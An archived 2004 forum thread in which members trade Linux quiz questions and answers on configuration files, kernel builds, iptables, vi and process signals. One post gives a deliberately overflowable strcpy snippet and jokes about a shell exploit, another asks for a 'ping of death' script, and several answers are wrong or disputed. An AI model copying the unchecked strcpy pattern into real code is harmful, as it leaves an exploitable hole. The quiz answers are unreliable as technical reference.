PDA

View Full Version : Linux Linux Quiz



shn
02-20-2004, 12:12 AM
Just wanted to do this and let people try it out. A series of problems for you to provide a solution to. First I will give a problem and you try and find the solution. You have to provide "source" to your problem. For example:

You present a problem and somebody else will provide the solution. The closest answer to the solution wins. But you need to provide the answer to the problem and why that would be the closest answer.

You do not have to know the answers to the problems you present just know that they can be solved by a human being and give the source of the closest solution you find for the problem you presented...............lol.

Ok here is mine. I start out simple :rolleyes:

Q: You want to have Linux mount a drive or partition automatically at boot time, what configuration file do you edit to achieve this. Hint: Dont stab yourself :smilie4:

You can present questions before any other ones are answered. Its in no particular order. Btw, you may use any resources............google, etc. We will keep score by the number of questions you provide correct solutions for. And please feel free to add additional rules :)

LSA
02-20-2004, 12:26 AM
fstab!

Heres a question:

What file do you have to edit to add a WM to your non-graphical login screen?

shn
02-20-2004, 12:32 AM
.xinitrc :)

/etc/fstab is correct. You get 1 point.

LSA
02-20-2004, 12:33 AM
You get point too, yay!

Question: Who started linux?

:lol: thats a gimme!

Hunted
02-20-2004, 12:37 AM
stabs himself

LSA
02-20-2004, 12:39 AM
Originally posted by Hunted@19 February 2004 - 18:37
stabs himself
You don't get any points, hunted. :(

4play
02-20-2004, 12:41 AM
mr linus torvalds did.

my question what version of unix pissed him off so much he wrote his own? :frusty:

h1
02-20-2004, 12:43 AM
:blink: Linus Torvalds.

Okay, here's an easy one. Where is the mouse config?

shn
02-20-2004, 12:45 AM
@ 4play minux :)

4play
02-20-2004, 12:46 AM
Okay, here's an easy one. Where is the mouse config?

xfree86.

shn
02-20-2004, 12:50 AM
Originally posted by haxor41789@19 February 2004 - 18:43
:blink: Linus Torvalds.

Okay, here's an easy one. Where is the mouse config?
/etc/X11/XF86Config :P

LSA
02-20-2004, 12:51 AM
/etc/X11/XF86Config

Edit: didnt see your post shn!! sorry!

shn
02-20-2004, 12:55 AM
What is the command to generate an ssh public/private dsa key pair? :)

@LSA........no problem, its whoever answers first :P

LSA
02-20-2004, 12:57 AM
Originally posted by shn@19 February 2004 - 18:55
What is the command to generate an ssh public/private dsa key pair? :)
:o

That's way out of my league!

4play
02-20-2004, 01:00 AM
/usr/bin/ssh-keygen -b 1024 -N ""

out of mine as well but google is handy :rolleyes:

shn
02-20-2004, 01:11 AM
You can assume an answer correct unless its not then let the person who incorrectly answered know that they are incorrect :) That way someone else can answer knowing that the question has not been answered before.

create a symbolic link to /usr/share/xxx Hint: you are already in the current directory just issue the command.

LSA
02-20-2004, 01:11 AM
Originally posted by 4play@19 February 2004 - 19:00

/usr/bin/ssh-keygen -b 1024 -N ""

out of mine as well but google is handy :rolleyes:
:lol: I was just going to add my google findings. :lol:

Question: What is 'runlevel 3'

shn
02-20-2004, 01:12 AM
Originally posted by LSA+19 February 2004 - 19:11--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (LSA &#064; 19 February 2004 - 19:11)</td></tr><tr><td id='QUOTE'><!--QuoteBegin-4play@19 February 2004 - 19:00

/usr/bin/ssh-keygen -b 1024 -N &#34;&#34;

out of mine as well but google is handy&nbsp; :rolleyes:
:lol: I was just going to add my google findings. :lol:

Question: What is &#39;runlevel 3&#39;[/b][/quote]
System boots up in text mode and networking :)

I take break now :D

LSA
02-20-2004, 01:18 AM
Originally posted by shn@19 February 2004 - 19:11
You can assume an answer correct unless its not then let the person who incorrectly answered know that they are incorrect&nbsp; :)&nbsp; That way someone else can answer knowing that the question has not been answered before.

create a symbolic link to /usr/share/xxx&nbsp; &nbsp; Hint: you are already in the current directory just issue the command.

ln ./xxx /home/j00/symlink

Not sure if that is correct or not. :unsure:

shn
02-20-2004, 01:20 AM
Originally posted by LSA+19 February 2004 - 19:18--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (LSA &#064; 19 February 2004 - 19:18)</td></tr><tr><td id='QUOTE'><!--QuoteBegin-shn@19 February 2004 - 19:11
You can assume an answer correct unless its not then let the person who incorrectly answered know that they are incorrect&nbsp; :)&nbsp; That way someone else can answer knowing that the question has not been answered before.

create a symbolic link to /usr/share/xxx&nbsp; &nbsp; Hint: you are already in the current directory just issue the command.

ln ./to_be_linked /home/j00/symlink

Not sure if that is correct or not. :unsure:[/b][/quote]
You get full credit ;) thats close enough

It&#39;s ln -s /to_be_linked /home/j00/symlink

LSA
02-20-2004, 01:21 AM
Originally posted by shn+19 February 2004 - 19:12--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (shn &#064; 19 February 2004 - 19:12)</td></tr><tr><td id='QUOTE'>
Originally posted by LSA@19 February 2004 - 19:11
<!--QuoteBegin-4play@19 February 2004 - 19:00

/usr/bin/ssh-keygen -b 1024 -N &#34;&#34;

out of mine as well but google is handy&nbsp; :rolleyes:
:lol: I was just going to add my google findings. :lol:

Question: What is &#39;runlevel 3&#39;
System boots up in text mode and networking :)

I take break now :D [/b][/quote]
Shn has 4 points now&#33; :o

LSA
02-20-2004, 01:28 AM
New question:

What is /etc/ used for?

shn
02-20-2004, 02:24 AM
Originally posted by LSA@19 February 2004 - 19:28
New question:

What is /etc/ used for?
configuration files B)

4play
02-20-2004, 02:45 AM
go on shn you got it right its your turn to ask a question :P

shn
02-20-2004, 03:24 AM
What is the latest stable Linux kernel version. :)

LSA
02-20-2004, 03:24 AM
Originally posted by 4play@19 February 2004 - 20:45
go on shn you got it right its your turn to ask a question&nbsp; :P
I&#39;ll go again:

What programming language is most of the linux kernel written in?

EDIT:

Ahhh, didnt see it again shn&#33;&#33;&#33; :lol: :lol:

2.6.3 btw

Hunted
02-20-2004, 03:33 AM
Originally posted by LSA+19 February 2004 - 20:39--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (LSA @ 19 February 2004 - 20:39)</td></tr><tr><td id='QUOTE'> <!--QuoteBegin-Hunted@19 February 2004 - 18:37
stabs himself
You don&#39;t get any points, hunted. :( [/b][/quote]
I know almost nothing about Linux lol

4play
02-20-2004, 03:36 AM
its mostly c with some c++ and a bit of aseembly.

what are the basic commands to compiling your own kernel ( the 2.6 version)

LSA
02-20-2004, 03:39 AM
Originally posted by 4play@19 February 2004 - 21:36
its mostly c with some c++ and a bit of aseembly.

what are the basic commands to compiling your own kernel ( the 2.6 version)
make config
make oldconfig
make menuconfig
make xconfig

bla bla

I love this thread, thanks shn B)

4play
02-20-2004, 03:50 AM
sounds about right to me whats your question ?
:)

LSA
02-20-2004, 03:55 AM
hmmm

What is the command to take a screenshot of the whole screen?

4play
02-20-2004, 04:04 AM
import -window /file.jpg

what does gnu stand for ?

LSA
02-20-2004, 04:13 AM
GNU&#39;s not Unix

What is gentoo&#39;s package manager command?

shn
02-20-2004, 04:18 AM
Originally posted by 4play@19 February 2004 - 21:36
its mostly c with some c++ and a bit of aseembly.

what are the basic commands to compiling your own kernel ( the 2.6 version) cd /usr/src/linux
menuconfig
make dep
make clean
make bzimage
cp ./bzimage /boot
reboot

:)

4play
02-20-2004, 04:21 AM
emerge - package_name

what process is always assigned 1 as its pid.

LSA
02-20-2004, 04:21 AM
Originally posted by shn@19 February 2004 - 22:18
cd /usr/src/linux
menuconfig
make dep
make clean
make bzimage
cp ./bzimage /boot
reboot

:)
Is that all you have to do to make a new kernel?

I downloaded 2.6.2 a week ago but haven&#39;t touched it because I didn&#39;t know how to do it, and most tutorials were really old.

I missed the Linux meeting :(

I couldn&#39;t get a ride until it was already started, no slackware for me yet :(

4play
02-20-2004, 04:25 AM
its slighty more work then that since you do have to sort out the config file im always screwing that up.

i know you dont have to do make clean with the 2.6 kernels and im not sure about make dep.

LSA
02-20-2004, 04:26 AM
Originally posted by 4play@19 February 2004 - 22:21
emerge - package_name

what process is always assigned 1 as its pid.
init

I can&#39;t think of a question right now :P

shn
02-20-2004, 04:59 AM
Originally posted by 4play@19 February 2004 - 22:25
its slighty more work then that since you do have to sort out the config file im always screwing that up.

i know you dont have to do make clean with the 2.6 kernels and im not sure about make dep.
http://www.kernel.org/pub/linux/kernel/README :)

You have to type "make dep" to make the dependencies for your kernel modules that you select with menuconfig. ;)

"make clean" :lol: it cleans up the mess you make after compiling..

Let me know if I get point B)

And you said basic :angry:

leftism
02-20-2004, 10:32 AM
The questions seem to have dried up so..... :)

If you have these files in your home directory...

file.c
main.c
defines.h
program.tar.gz
index.html

How can you delete the C source files and the header file only, using just one command?

shn
02-20-2004, 11:56 AM
Originally posted by leftism@20 February 2004 - 04:32
The questions seem to have dried up so..... :)

If you have these files in your home directory...

file.c
main.c
defines.h
program.tar.gz
index.html

How can you delete the C source files and the header file only, using just one command?
:lol: :lol: :lol: ..............dried up

*waits for competition*

Why make it difficult just use "rm" and delete all that shit :lol:

leftism
02-20-2004, 12:05 PM
Originally posted by shn
Why make it difficult just use "rm" and delete all that shit

Because the idea isnt to "delete all that shit", just the C files and the header file without having to use the rm command 3 times in a row :)

4play
02-20-2004, 01:06 PM
im guesssing something along the lines of

rm *.c | *.h

shn
02-20-2004, 01:13 PM
how do you change the # in the terminal window to &#036;, or whatever string you want? :)

leftism
02-20-2004, 02:51 PM
@4play Your on the right track, but thats not the right answer :)


@shn

I would guess that you have to change something in .bashrc?

shn
02-20-2004, 02:58 PM
Originally posted by leftism@20 February 2004 - 08:51
@4play Your on the right track, but thats not the right answer :)


@shn

I would guess that you have to change something in .bashrc?
The correct asnwer is typing PS1="&#036;" from a terminal.

leftism
02-20-2004, 03:04 PM
Originally posted by shn
The correct asnwer is typing PS1="&#036;" from a terminal.

But wouldn&#39;t that mean you&#39;d have to do that every time you logged in? If you put it in the .bashrc file it will always be &#036;.

shn
02-20-2004, 03:29 PM
Originally posted by leftism+20 February 2004 - 09:04--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (leftism &#064; 20 February 2004 - 09:04)</td></tr><tr><td id='QUOTE'><!--QuoteBegin-shn
The correct asnwer is typing PS1="&#036;" from a terminal.

But wouldn&#39;t that mean you&#39;d have to do that every time you logged in? If you put it in the .bashrc file it will always be &#036;.[/b][/quote]
If you wanted to set the shell variable to that permanently then yes you could edit .bashrc

PS1=""
export PS1



In vi, what does this expression yield /^[a-zA-Z]/ :)

leftism
02-20-2004, 03:53 PM
Originally posted by shn
In vi, what does this expression yield /^[a-zA-Z]/

It searches for non-alphabetic characters? :)

Assuming I got it right, (fingers crossed :D) What command would you issue to block all incoming packets to port 80 (TCP) ?

LSA
02-20-2004, 04:10 PM
iptables -A INPUT -i ppp0 -p tcp 80

Probably not right...I just read a little bit from the man page of iptables

:sadwalk:

shn
02-20-2004, 04:13 PM
Originally posted by leftism+20 February 2004 - 09:53--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (leftism &#064; 20 February 2004 - 09:53)</td></tr><tr><td id='QUOTE'><!--QuoteBegin-shn
In vi, what does this expression yield /^[a-zA-Z]/

It searches for non-alphabetic characters? :)

Assuming I got it right, (fingers crossed :D) What command would you issue to block all incoming packets to port 80 (TCP) ?[/b][/quote]
/^[a-zA-Z]/ Matches if the line starts with any letter :)

iptables -A INPUT -p tcp --dport 80 -j DROP

leftism
02-20-2004, 04:16 PM
iptables -A INPUT -i ppp0 -p tcp 80

Probably not right...I just read a little bit from the man page of iptables

close :)

iptables -A INPUT -p tcp --dport 80 -j DROP

You should specify the interface if your on a host with multiple interfaces but since I&#39;m not, I never do.

leftism
02-20-2004, 04:17 PM
Originally posted by shn
/^[a-zA-Z]/ Matches if the line starts with any letter

You sure dude? I thought the ^ meant not?

shn
02-20-2004, 04:27 PM
Originally posted by leftism+20 February 2004 - 10:17--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (leftism &#064; 20 February 2004 - 10:17)</td></tr><tr><td id='QUOTE'><!--QuoteBegin-shn
/^[a-zA-Z]/ Matches if the line starts with any letter

You sure dude? I thought the ^ meant not?[/b][/quote]
I am sure.

You are welcomed to prove me otherwise. Im sure vi has some handy documentation on regular expressions that you can browse. :)

LSA
02-20-2004, 04:34 PM
Originally posted by shn+20 February 2004 - 10:27--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (shn @ 20 February 2004 - 10:27)</td></tr><tr><td id='QUOTE'>
Originally posted by leftism@20 February 2004 - 10:17
<!--QuoteBegin-shn
/^[a-zA-Z]/ Matches if the line starts with any letter

You sure dude? I thought the ^ meant not?
I am sure.

You are welcomed to prove me otherwise. Im sure vi has some handy documentation on regular expressions that you can browse. :) [/b][/quote]
I wouldn&#39;t mess with shn, she&#39;ll take you down, right down to china town&#33;

:lol: :lol:

Just kidding

New question:

Give a command to display info about your cpu.

shn
02-20-2004, 04:43 PM
Originally posted by LSA+20 February 2004 - 10:34--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (LSA &#064; 20 February 2004 - 10:34)</td></tr><tr><td id='QUOTE'>
Originally posted by shn+20 February 2004 - 10:27--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (shn &#064; 20 February 2004 - 10:27)</td></tr><tr><td id='QUOTE'> <!--QuoteBegin-leftism@20 February 2004 - 10:17
<!--QuoteBegin-shn
/^[a-zA-Z]/ Matches if the line starts with any letter

You sure dude? I thought the ^ meant not?
I am sure.

You are welcomed to prove me otherwise. Im sure vi has some handy documentation on regular expressions that you can browse. :) [/b][/quote]
I wouldn&#39;t mess with shn, she&#39;ll take you down, right down to china town&#33;

:lol: :lol:

Just kidding

New question:

Give a command to display info about your cpu.[/b][/quote]


I only went by my use of vi. I have dealt with regular expressions but am no expert in them as they are a bit tricky to specify, but my answer was purely off the top of my head. If I am wrong I would like to know because this is not a competition..
:)

leftism
02-20-2004, 04:44 PM
hehe I never could resist a challenge :D


[^]&nbsp; &nbsp; &nbsp; &nbsp; Matches anything not enclosed after the not character.

Example

Ver[^1-9]&nbsp; Matches Ver followed by any non digit.


source (http://www.cab.u-szeged.hu/local/linux/doc/lug/node175.html)

edit:


Originally posted by shn
I only went by my use of vi. I have dealt with regular expressions but am no expert in them as they are a bit tricky to specify, but my answer was purely off the top of my head. If I am wrong I would like to know because this is not a competition..

Thats cool :)

I dont have a problem with being wrong sometimes or speaking to people who know more than me. (Although I try to avoid the former :D)

If I did I wouldnt use linux at all :)

shn
02-20-2004, 04:46 PM
Then challenge we shall.

Just keep it clean :)

LSA
02-20-2004, 04:46 PM
Originally posted by shn@20 February 2004 - 10:43
I only went by my use of vi. I have dealt with regular expressions but am no expert in them as they are a bit tricky to specify, but my answer was purely off the top of my head. If I am wrong I would like to know because this is not a competition..
:)
I was just kidding http://www.mcbriens.net/liam/img/smilies/thmbup.gif

I don&#39;t know anything about vi :lol:

shn
02-20-2004, 05:15 PM
Originally posted by leftism+20 February 2004 - 10:44--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (leftism @ 20 February 2004 - 10:44)</td></tr><tr><td id='QUOTE'> hehe I never could resist a challenge :D


[^]&nbsp; &nbsp; &nbsp; &nbsp; Matches anything not enclosed after the not character.

Example

Ver[^1-9]&nbsp; Matches Ver followed by any non digit.


source (http://www.cab.u-szeged.hu/local/linux/doc/lug/node175.html)

edit:

<!--QuoteBegin-shn
I only went by my use of vi. I have dealt with regular expressions but am no expert in them as they are a bit tricky to specify, but my answer was purely off the top of my head. If I am wrong I would like to know because this is not a competition..

Thats cool :)

I dont have a problem with being wrong sometimes or speaking to people who know more than me. (Although I try to avoid the former :D)

If I did I wouldnt use linux at all :) [/b][/quote]
To be honest our Linux community here is relatively small. Welcome aboard :rolleyes:

LSA
02-20-2004, 05:20 PM
Originally posted by shn@20 February 2004 - 11:15
To be honest our Linux community here is relatively small. Welcome aboard :rolleyes:
Yeah welcome to linux world&#33;

---

Is anyone going to answer this, its really easy&#33;

Give a command to display info about your cpu.

shn
02-20-2004, 05:42 PM
Originally posted by LSA+20 February 2004 - 11:20--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (LSA &#064; 20 February 2004 - 11:20)</td></tr><tr><td id='QUOTE'><!--QuoteBegin-shn@20 February 2004 - 11:15
To be honest our Linux community here is relatively small.&nbsp; Welcome aboard&nbsp; :rolleyes:
Yeah welcome to linux world&#33;

---

Is anyone going to answer this, its really easy&#33;

Give a command to display info about your cpu.[/b][/quote]
uname

What is the command to display the content of your enviormental variables path? :)

LSA
02-20-2004, 05:48 PM
cat &#036;PATH

Right?

shn
02-20-2004, 06:01 PM
Originally posted by LSA@20 February 2004 - 11:48
cat &#036;PATH

Right?
I generally use echo &#036;PATH :)

How do you find out information regarding a particular rpm that&#39;s installed?

I take break now :P

LSA
02-20-2004, 06:30 PM
rpm -qi name

I&#39;ll think of a question and edit this post im running out :P

EDIT:

Ok, why does ext2 / ext3 not need defragmenting?

LSA
02-20-2004, 11:48 PM
Is that one too hard? :lol:

What does GTK stand for?

4play
02-21-2004, 02:51 AM
i though gtk stood for gnome toolkit but its the gimp toolkit :o

name two bits of software that i can use to cluster linux boxes?

leftism
02-21-2004, 02:58 AM
Originally posted by 4play
name two bits of software that i can use to cluster linux boxes?


I can only manage one :)

Beowulf.

4play
02-21-2004, 03:02 AM
mosix (http://www.mosix.org/) is also pretty cool if you have a few machines on your network.

h1
02-21-2004, 03:06 AM
Damn... I leave for a day and look where this thread&#39;s gone. :P

Easy question: what&#39;s the distro that fits on one floppy disk, and what is the glaring absence in it?

4play
02-21-2004, 03:10 AM
there are loads that fit on a floppy. if its menutos your talking about its not linux its all written in assembly unlike the linux kernel.

h1
02-21-2004, 03:18 AM
Yes, I was talking about Menutos, which is missing a file manager. :( Crappy question, but 4play gets a point.

4play
02-21-2004, 03:26 AM
what is cvs ?

h1
02-21-2004, 03:27 AM
Content verification system?

h1
02-21-2004, 03:27 AM
I&#39;m looking like a real fool here... :D

4play
02-21-2004, 03:30 AM
lol that is right as well i suppose :lol:

cvs = Concurrent Versions System

anyway night got work in 4 hours better get some sleep.

LSA
02-21-2004, 04:31 PM
What is the sound card called in /dev?

Not sure if I worded that right...:lol:

LSA
02-22-2004, 12:46 AM
Come on this is the best thread here&#33;

Where is everyone? :01:

leftism
02-22-2004, 09:51 AM
Originally posted by LSA
What is the sound card called in /dev?

/dev/dsp ?

either that or /dev/audio. (hedges bets :D)

LSA
02-22-2004, 04:29 PM
Yeah, thats the one I was thinking of.

Now you think of a question, i&#39;m running low.

leftism
02-22-2004, 05:55 PM
What is the four letter acronym commonly used to refer to a popular setup used to produce dynamic web content, and what does each letter stand for?

LSA
02-22-2004, 06:18 PM
DHTML?

Dynamic Hyper Text Markup Language?

If that&#39;s right I don&#39;t see what it has to do with linux...

That was just a guess :unsure:

leftism
02-22-2004, 06:27 PM
Sorry dude, its LAMP

Linux, Apache, MySQL, PHP.

Im all out of questions for the moment, someone else will have to take over :)

LSA
02-22-2004, 06:36 PM
Hey&#33; Thats what I was going to put too&#33;

:frusty:

DHTML is 5 letters... :frusty:

:rolleyes:

ravendark
02-24-2004, 10:37 AM
ok this should be easy ( its late and im tired ) the question i have is really in to parts

most should know by now the pention linux developers have for acronyms to name there software, so my question is

what does SANE stand for and since you will most likely be using a TWAIN scanner with it, what does TWAIN stand for.

shn
02-24-2004, 07:02 PM
Originally posted by ravendark@24 February 2004 - 04:37
ok this should be easy ( its late and im tired ) the question i have is really in to parts

most should know by now the pention linux developers have for acronyms to name there software, so my question is

what does SANE stand for and since you will most likely be using a TWAIN scanner with it, what does TWAIN stand for.
scanner access now easy

And TWAIN does not mean anything. It is not an acronym :)

LSA
02-24-2004, 10:37 PM
:w00t:

Linux Quiz is back&#33;

Question:

What does Tux stand for?

ravendark
02-25-2004, 12:52 AM
Originally posted by shn+24 February 2004 - 15:02--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (shn @ 24 February 2004 - 15:02)</td></tr><tr><td id='QUOTE'> <!--QuoteBegin-ravendark@24 February 2004 - 04:37
ok this should be easy ( its late and im tired ) the question i have is really in to parts

most should know by now the pention linux developers have for acronyms to name there software, so my question is

what does SANE stand for and since you will most likely be using a TWAIN scanner with it, what does TWAIN stand for.
scanner access now easy

And TWAIN does not mean anything. It is not an acronym :) [/b][/quote]
i grant you that its not a true acronym, but the developer couldnt think of an interesting name for the project, so he named it, and i kid you not,

Thing
Without
An
Interesting
Name

just thought it would give someone a chuckle

shn
02-25-2004, 01:10 AM
Originally posted by ravendark+24 February 2004 - 18:52--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (ravendark &#064; 24 February 2004 - 18:52)</td></tr><tr><td id='QUOTE'>
Originally posted by shn@24 February 2004 - 15:02
<!--QuoteBegin-ravendark@24 February 2004 - 04:37
ok this should be easy ( its late and im tired ) the question i have is really in to parts

most should know by now the pention linux developers have for acronyms to name there software, so my question is

what does SANE stand for and since you will most likely be using a TWAIN scanner with it, what does TWAIN stand for.
scanner access now easy

And TWAIN does not mean anything. It is not an acronym :)
i grant you that its not a true acronym, but the developer couldnt think of an interesting name for the project, so he named it, and i kid you not,

Thing
Without
An
Interesting
Name

just thought it would give someone a chuckle[/b][/quote]

The word TWAIN is from Kipling&#39;s "The Ballad of East and West" - "...and never the twain shall meet...", reflecting the difficulty, at the time, of connecting scanners and personal computers. It was up-cased to TWAIN to make it more distinctive. This led people to believe it was an acronym, and then to a contest to come up with an expansion. None were selected, but the entry "Technology Without An Interesting Name" continues to haunt the standard. "

What is TWAIN an acronym for? (http://www.twain.org/faq.htm#What%20is%20TWAIN%20an%20acronym%20for)

If you want to call it that. I suppose it makes a a little more sense :)

h1
02-25-2004, 05:55 AM
shn owns another fool again... :P

Tux stands for Torvald&#39;s UniX, which was originally a joke, then stuck.

Question: Write a shell script for csh which recreates the antiquated and lame "ping of death."

ravendark
02-25-2004, 07:31 AM
Originally posted by shn@24 February 2004 - 21:10

The word TWAIN is from Kipling&#39;s "The Ballad of East and West" - "...and never the twain shall meet...", reflecting the difficulty, at the time, of connecting scanners and personal computers. It was up-cased to TWAIN to make it more distinctive. This led people to believe it was an acronym, and then to a contest to come up with an expansion. None were selected, but the entry "Technology Without An Interesting Name" continues to haunt the standard. "

What is TWAIN an acronym for? (http://www.twain.org/faq.htm#What%20is%20TWAIN%20an%20acronym%20for)

If you want to call it that. I suppose it makes a a little more sense :)
/takes bite of hummble pie

i stand corrected

/takes another bite

but ill find something interesting, you have my word.

shn
02-29-2004, 09:58 AM
declare a variable that is defined to hold 256 char and then copy the input into your variable with strcpy()

LSA
02-29-2004, 03:38 PM
Originally posted by shn@29 February 2004 - 03:58
declare a variable that is defined to hold 256 char and then copy the input into your variable with strcpy()
:o

m4d skillz&#33;

---------

Question:

How are .bash_profile, .bash_login and .bashrc different?

leftism
02-29-2004, 05:06 PM
Originally posted by shn
declare a variable that is defined to hold 256 char and then copy the input into your variable with strcpy()




#include &#60;stdio.h&#62;
#include &#60;string.h&#62;

int main&#40;int argc, char **argv&#41;
{
&nbsp; char var&#91;256&#93;;

&nbsp; strcpy&#40;var, argv&#91;1&#93;&#41;;
}


Buffer overflow time methinks :D

Code an exploit to create a shell by overflowing the stack when strcpy executes&#33; (j/k)

cselik
02-29-2004, 07:56 PM
Originally posted by LSA@29 February 2004 - 15:38
Question:
How are .bash_profile, .bash_login and .bashrc different?

When bash is invoked as an interactive login shell, it looks for: .bash_profile, .bash_login and .profile in that order. When bash is invoked as an non-login shell, it looks for .bashrc in the user&#39;s home directory.

q:
what progs r u gona use to share files with windows? i mean thru[My Network Places]?

LSA
02-29-2004, 11:16 PM
Samba?

Question:

Give a command to find the current run level.

cselik
03-01-2004, 01:57 AM
Originally posted by LSA@29 February 2004 - 23:16
Samba?

Question:

Give a command to find the current run level.
Samba is correct&#33; :lol: still might need a fancy Web Administration interface / Tool :D

i think if u type runlevel you should be able to get some info, but only 4 root :ph34r:

my q:
what command would u type to count from 5 to 10 incrementing by 0.2 at a time?[script=half points]

LSA
03-01-2004, 02:05 AM
&#39;runlevel&#39; works if you have /sbin in your path, so you get a point http://www.mcbriens.net/liam/img/smilies/thmbup.gif

shn
03-01-2004, 02:40 AM
Originally posted by cselik+29 February 2004 - 19:57--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (cselik &#064; 29 February 2004 - 19:57)</td></tr><tr><td id='QUOTE'><!--QuoteBegin-LSA@29 February 2004 - 23:16
Samba?

Question:

Give a command to find the current run level.
Samba is correct&#33; :lol: still might need a fancy Web Administration interface / Tool :D

[/b][/quote]
http://www.webmin.com/standard.html

LSA
03-09-2004, 01:02 AM
In Slackware (:w00t:), what script prepares the system before going into your desired runlevel?

Bump&#33;

LSA
03-13-2004, 05:22 PM
Don&#39;t you die on me, Linux Quiz&#33;

http://www.ralphradford.com/corp/images/defibrillator.jpg

shn
03-13-2004, 05:28 PM
Originally posted by LSA@13 March 2004 - 11:22
Don&#39;t you die on me, Linux Quiz&#33;

http://www.ralphradford.com/corp/images/defibrillator.jpg
Linux Quiz is for questions and answers.

Not photos. :)

LSA
03-13-2004, 05:47 PM
Originally posted by shn@13 March 2004 - 11:28
Linux Quiz is for questions and answers.

Not photos.&nbsp; :)
Ok then the answer is rc.S&#33;&#33; You n00bs&#33;&#33;&#33; Just kidding :-"

Question:

What is the command to save and exit vi. Come on, thats easy...

shn
03-13-2004, 06:46 PM
:wq



which field of the /etc/passwd file holds the passwords for users? :)

LSA
03-13-2004, 06:57 PM
Depends if you have shadow on or not (Right?)

I was reading about this a few days ago. Mine looks like this (in shadow, that isn&#39;t my real password, I changed a few of the letters :P)
It&#39;s this part I think (encrypted)

loren:&#036;1&#036;B81tJtU7&#036;lPItd7ft/HZm02kMGHTdh1:12368:-1:99999:-1:::

I think that&#39;s right but am not sure.

shn
03-13-2004, 07:02 PM
Originally posted by LSA@13 March 2004 - 12:57
Depends if you have shadow on or not (Right?)

I was reading about this a few days ago.&nbsp; Mine looks like this (in shadow, that isn&#39;t my real password, I changed a few of the letters&nbsp; :P)
It&#39;s this part I think (encrypted)

loren:&#036;1&#036;B81tJtU7&#036;lPItd7ft/HZm02kMGHTdh1:12368:-1:99999:-1:::

I think that&#39;s right but am not sure.
The correct answer is:

the second field :)

LSA
03-13-2004, 07:06 PM
Originally posted by shn@13 March 2004 - 13:02
The correct answer is:

the second field :)
Ohhh, you got me there :lol:

What configuration file does init look to?

shn
03-14-2004, 02:25 AM
Your question was a bit indecisive but I&#39;ll say /etc/init.d.

Now this is the easiest of all questions in Linux Quiz ever:

From a terminal, what key would you press to see a list of all your apps installed.

And since youll pretty much be stuck at a screen listing over 2000 programs, what key/keys would you press to exit. :)

LSA
03-14-2004, 02:30 AM
Originally posted by shn@13 March 2004 - 20:25
Your question was a bit indecisive but I&#39;ll say /etc/init.d.

Now this is the easiest of all questions in Linux Quiz ever:

From a terminal, what key would you press to see a list of all your apps installed.

And since youll pretty much be stuck at a screen listing over 2000 programs, what key/keys would you press to exit. :)
I think it&#39;s /etc/inittab, if i&#39;m wrong, don&#39;t 0wn me :ph34r:

------------

You can press tab, and then press &#39;q&#39; or &#39;control+c&#39;

------------

Question:

Update the rpm database

shn
03-14-2004, 02:37 AM
I dont use rpm&#39;s.

only .tgz files bud.

Slackware. :)

LSA
03-14-2004, 02:39 AM
Originally posted by shn@13 March 2004 - 20:37
I dont use rpm&#39;s.

only .tgz files bud.

Slackware. :)
I wish I had slackware&#33;&#33;&#33;

<_< :(

----

Well, it&#39;s rpm --updatedb :P

LSA
03-14-2004, 02:55 AM
Question:

Where are kernel modules located?

shn
03-14-2004, 03:11 AM
It varies depending on your kernel version.

I have a /lib/modules/2.4.22 and a /lib/modules/ 2.4.24 :)




A process with a PID number of 31337 has entered runaway mode. You have tried to remove it with a standard kill command, but it will not go away. What command can you use to be assured the process will terminate?

bulio
03-14-2004, 03:19 AM
correct&#33;&#33;&#33; ;)

shn
03-14-2004, 04:03 AM
Originally posted by shn@19 February 2004 - 19:11
You can assume an answer correct unless its not then let the person who incorrectly answered know that they are incorrect&nbsp; :)&nbsp; That way someone else can answer knowing that the question has not been answered before.

What she said. :)

LSA
03-14-2004, 03:58 PM
Originally posted by shn@13 March 2004 - 21:11
A process with a PID number of 31337 has entered runaway mode. You have tried to remove it with a standard kill command, but it will not go away. What command can you use to be assured the process will terminate?
:gunsmile:

kill -SIGKILL 31337

Process 31337: 0wned :lol:

--------------------

Question:
Record an .iso with cdrecord on device 0,0,0

shn
03-14-2004, 10:39 PM
Originally posted by LSA+14 March 2004 - 09:58--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (LSA &#064; 14 March 2004 - 09:58)</td></tr><tr><td id='QUOTE'><!--QuoteBegin-shn@13 March 2004 - 21:11
A process with a PID number of 31337 has entered runaway mode.&nbsp; You have tried to remove it with a standard kill command, but it will not go away. What command can you use to be assured the process will terminate?
:gunsmile:

kill -SIGKILL 31337

Process 31337: 0wned :lol:

--------------------

Question:
Record an .iso with cdrecord on device 0,0,0[/b][/quote]
Incorrect.

The correct answer is:

kill -9 31337

Terminates a process indefinately.

Quite frankly I suggest you confer with your man files (http://rootr.net/man?parameter=kill&mode=man) :)

LSA
03-14-2004, 10:44 PM
Is -SIGKILL a switch for &#39;killall&#39;?

Hmm a little confused :">

shn
03-14-2004, 10:54 PM
Originally posted by LSA@14 March 2004 - 16:44
Is -SIGKILL a switch for &#39;killall&#39;?

Hmm a little confused :">
killall what?

Your trying terminate "one" process and that is 31337. Without shutting down the whole system dude.

You might as well press the power button and turn the computer off if you can&#39;t do that.

Go to your terminal and "man kill" read it............learn it. Also the link I posted was from an official man file.


